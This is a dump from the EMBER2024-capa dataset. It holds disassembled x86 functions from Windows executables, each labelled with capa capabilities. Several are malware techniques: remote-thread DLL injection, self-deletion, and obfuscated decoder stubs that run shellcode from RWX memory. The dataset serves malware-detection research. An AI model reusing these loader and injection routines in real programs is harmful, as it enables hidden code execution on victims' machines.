joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429ac7
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov eax, dword [ebx + 4]
mov edi, 0x44b524
mov dword [ebp - 4], esi
test eax, eax
je 0x429ae6
mov edx, dword [eax]
jmp 0x429af3
mov ecx, dword [ebx + 8]
test ecx, ecx
je 0x429af1
mov edx, dword [ecx]
jmp 0x429af3
mov edx, edi
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x429afc
mov edi, dword [ecx]
test eax, eax
je 0x429b0e
xor eax, eax
test ecx, ecx
setne al
add eax, 0x20000150
jmp 0x429b1d
mov eax, dword [ebx + 8]
neg eax
sbb eax, eax
and eax, 3
add eax, 0x2000014f
push dword [ebp + 0xc]
push str.copy
push edi
push edx
push eax
push 2
call main
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 4]
add esp, 0x18
push eax
push edi
call main
test eax, eax
je 0x429b9b
mov eax, dword [ebp - 4]
test al, 1
je 0x429b9b
and eax, 0xfffffffe
push eax
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
jne 0x429b9b
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x429b73
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x429b7a
mov esi, 0x80004005
push esi
push 0x538
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push str.Failed_to_clear_readonly_bit_on_payload_destination_path:__ls
push esi
call main
add esp, 0xc
jmp 0x429c19
push esi
lea eax, [ebx + 0x20]
push eax
push ebx
push 0x4299a0
push edi
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_CopyFileExW]
test eax, eax
jne 0x429c19
cmp dword [ebx + 0x20], esi
je 0x429bd9
mov esi, 0x80070642
push esi
push 0x542
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push dword [ebp + 0xc]
push str.BA_aborted_copy_of_payload_from:__ls_to:__ls.
jmp 0x429c10
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x429bf0
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x429bf7
mov esi, 0x80004005
push esi
push 0x546
push str.c:_agent_work138_s_src_burnengine_apply.cpp
call fcn.004038f5
push edi
push dword [ebp + 0xc]
push str.Failed_attempt_to_copy_payload_from:__ls_to:__ls.
push esi
call main
add esp, 0x10
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x42ad3f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x42ad4e
pop dword [ebp - 0x44]
mov eax, 0x16afff18
sub eax, 0x166d51ca
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x528d0
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x11bad9d8
sub ecx, 0x11ba8840
xor edi, edi
add edi, eax
mov ebx, 0x488e00
add ebx, dword [ebp - 0x44]
mov esi, 0xba30e2df
sub dword [ebp - 8], ebx
mov edx, dword [ebx]
sub edx, esi
xor dword [ebp - 0x30], 0xd43ebe75
mov dword [edi], edx
sub dword [ebp - 0x1c], ebx
add edi, 4
add ebx, 4
loop 0x42ad9e
add eax, 0x13933
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x485ad0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5c000]
push edi
or ebp, 0xffffffff
jmp 0x485af2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x485af9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485ae8
mov eax, 1
add ebx, ebx
jne 0x485b0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x485b1c
jne 0x485b3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b3b
dec eax
add ebx, ebx
jne 0x485b28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x485b00
add ebx, ebx
jne 0x485b37
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x485b8d
xor ecx, ecx
sub eax, 3
jb 0x485b53
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x485bc2
sar eax, 1
mov ebp, eax
jmp 0x485b5e
add ebx, ebx
jne 0x485b5e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b2c
inc ecx
add ebx, ebx
jne 0x485b6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x485b2c
add ebx, ebx
jne 0x485b79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x485b6e
jne 0x485b8a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x485b6e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x485bac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x485b9e
jmp 0x485aee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x485bac
add edi, ecx
jmp 0x485aee
pop esi
mov edi, esi
mov ecx, 0x946
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x485bca
cmp byte [edi], 0x11
jne 0x485bca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x485bcf
lea edi, [esi + 0x82000]
mov eax, dword [edi]
or eax, eax
je 0x485c47
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9e218]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9e2d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x485bfc
mov ecx, edi
jns 0x485c2b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9e2dc]
or eax, eax
je 0x485c41
mov dword [ebx], eax
add ebx, 4
jmp 0x485c19
call dword [esi + 0x9e2d8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x485c78
cmp al, 0xef
ja 0x485c6b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x485c4d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x485c5a
mov ebp, dword [esi + 0x9e2e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x485cac
sub esp, 0xffffff80
jmp 0x404ff7
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
movq xmm0, qword [0x402100]
push ebx
mov bl, byte [0x40210a]
push esi
mov si, word [0x402108]
push 0x40
push 0x3000
push 0xb
push 0
movq qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
movq xmm0, qword [ebp - 0x10]
xor ecx, ecx
movq qword [eax], xmm0
mov word [eax + 8], si
pop esi
mov byte [eax + 0xa], bl
pop ebx
add byte [ecx + eax], 0xf3
inc ecx
cmp ecx, 0xb
jb 0x401051
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00401087
mov esp, ebp
pop ebp
ret
Function at 0x401007
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x452718]
mov dword [ebp - 0x28], eax
mov eax, dword [0x45271c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401000
mov eax, dword [0x452720]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x452724]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x40105c
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x461974], 0xc
mov dword [ebp - 4], eax
jne 0x401086
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x461974]
cmp eax, 0xfa9
jne 0x4010a2
mov dword [0x461970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c7
push str.xuzujamasahigomurefexob
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x4618c8], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [0x46196c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x461974], 0xb03
jne 0x401142
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x40105a
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x4074cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45188c]
jne 0x4074d9
repz ret
jmp fcn.0040b79f

Function at 0x40b18d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d18
and dword [ebp - 4], 0
cmp dword [0x456964], 0
mov ebx, eax
jne 0x40b23e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b2ef
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b2ef
push eax
call fcn.00405ca6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x456964], eax
call esi
push eax
call fcn.00405ca6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x456968], eax
call esi
push eax
call fcn.00405ca6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45696c], eax
call esi
push eax
call fcn.00405ca6
pop ecx
mov dword [0x456974], eax
test eax, eax
je 0x40b23e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405ca6
pop ecx
mov dword [0x456970], eax
mov eax, dword [0x456970]
cmp eax, ebx
je 0x40b296
cmp dword [0x456974], ebx
je 0x40b296
push eax
call fcn.00405d21
push dword [0x456974]
mov esi, eax
call fcn.00405d21
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b296
test edi, edi
je 0x40b296
call esi
test eax, eax
je 0x40b28d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b28d
test byte [ebp - 0xc], 1
jne 0x40b296
or dword [ebp + 0x10], 0x200000
jmp 0x40b2cf
mov eax, dword [0x456968]
cmp eax, ebx
je 0x40b2cf
push eax
call fcn.00405d21
pop ecx
test eax, eax
je 0x40b2cf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b2cf
mov eax, dword [0x45696c]
cmp eax, ebx
je 0x40b2cf
push eax
call fcn.00405d21
pop ecx
test eax, eax
je 0x40b2cf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x456964]
call fcn.00405d21
pop ecx
test eax, eax
je 0x40b2ef
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b2f1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c3f3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c490
push ebx
push esi
call fcn.0040c3bc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040c350
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40c43d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c48f
push edi
push eax
call fcn.0040d010
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40c45d
call fcn.0040aeb1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c48e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040c350
add esp, 0x20
test eax, eax
jne 0x40c47c
push edi
call fcn.0040aeb1
jmp 0x40c484
push ebx
call fcn.0040aeb1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40d78d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43e868
push 0x43e860
push str.FlsAlloc
push 0x1f
call fcn.0040d64c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d7c1
push dword [ebp + 8]
mov ecx, esi
call dword [0x417174]
call esi
jmp 0x40d7c7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d80b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43e878
push 0x43e870
push str.FlsGetValue
push 0x21
call fcn.0040d64c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d842
push dword [ebp + 8]
mov ecx, esi
call dword [0x417174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40d84a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x43e880
push 0x43e878
push str.FlsSetValue
push 0x22
call fcn.0040d64c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d884
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x417174]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x62fc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x62fc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x62fc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x62fc132c
mov eax, 1
jmp 0x62fc1331
mov eax, 0
leave
ret
Function at 0x62fc1735
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x62fc1885
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x62fc18e8
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc19aa
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x62fc191d
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc19aa
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x62fc1947
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc19aa
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x62fc198e
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x62fc19aa
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x62fc1b90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x62fc1f20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x62fc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62fc6034]
sub esp, 4
test ebx, ebx
je 0x62fc1f6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62fc1f64
test esi, esi
je 0x62fc1f64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62fc1f40
mov dword [esp], 0x62fc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x62fc2150
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x62fc4224
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x62fc21a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62fc2278
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62fc21de
cmp eax, 4
jne 0x62fc2200
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62fc21ee
cmp edx, 4
je 0x62fc21ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62fc2150
Function at 0x1001305b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1001306a
pop dword [ebp - 0x20]
mov eax, 0x64bcc97f
sub eax, 0x54bb9915
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xe8e90920
add dword [ebp - 0x30], 0x65693c2b
mov dword [ebp - 0x2c], 0xe1a1d5a4
add dword [ebp - 0x2c], 0x509176a1
mov dword [ebp - 0x28], 0x97a8b6ff
add dword [ebp - 0x28], 0xb4a38d2f
mov dword [ebp - 0x24], 0x72d35e08
add dword [ebp - 0x24], 0x8d2ca1f8
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xd94aa4ca
sub dword [ebp - 0x30], 0x64d83b74
mov dword [ebp - 0x2c], 0x918f97e1
sub dword [ebp - 0x2c], 0x5023366c
mov dword [ebp - 0x28], 0x91b7d6d6
sub dword [ebp - 0x28], 0x2e486a6a
mov dword [ebp - 0x24], 0xc77b1c4d
add dword [ebp - 0x24], 0x3884e3b3
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x9550ab45
add eax, 0x7ab154bb
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3be23
push 0
call eax
mov ecx, 0x715000b1
add ecx, 0x8eb043ae
xor edi, edi
add edi, eax
mov edx, 0x1f319ccc
sub edx, 0xf2ee0cc
add edx, dword [ebp - 0x20]
mov esi, 0xcda9d92a
add dword [ebp - 4], 0xa7607fc2
mov ebx, dword [edx]
sub dword [ebp - 0x14], 0xfd3491f2
sub ebx, esi
add dword [ebp - 0x14], edx
mov dword [edi], ebx
xor dword [ebp - 0xc], 0x9443236
add edi, 0xa720dfcc
sub edi, 0xa720dfc8
add edx, 4
loop 0x10013183
add eax, 0x1044f
xor ebx, ebx
add ebx, eax
add eax, 0xdfcbebbb
add eax, 0x2034144a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret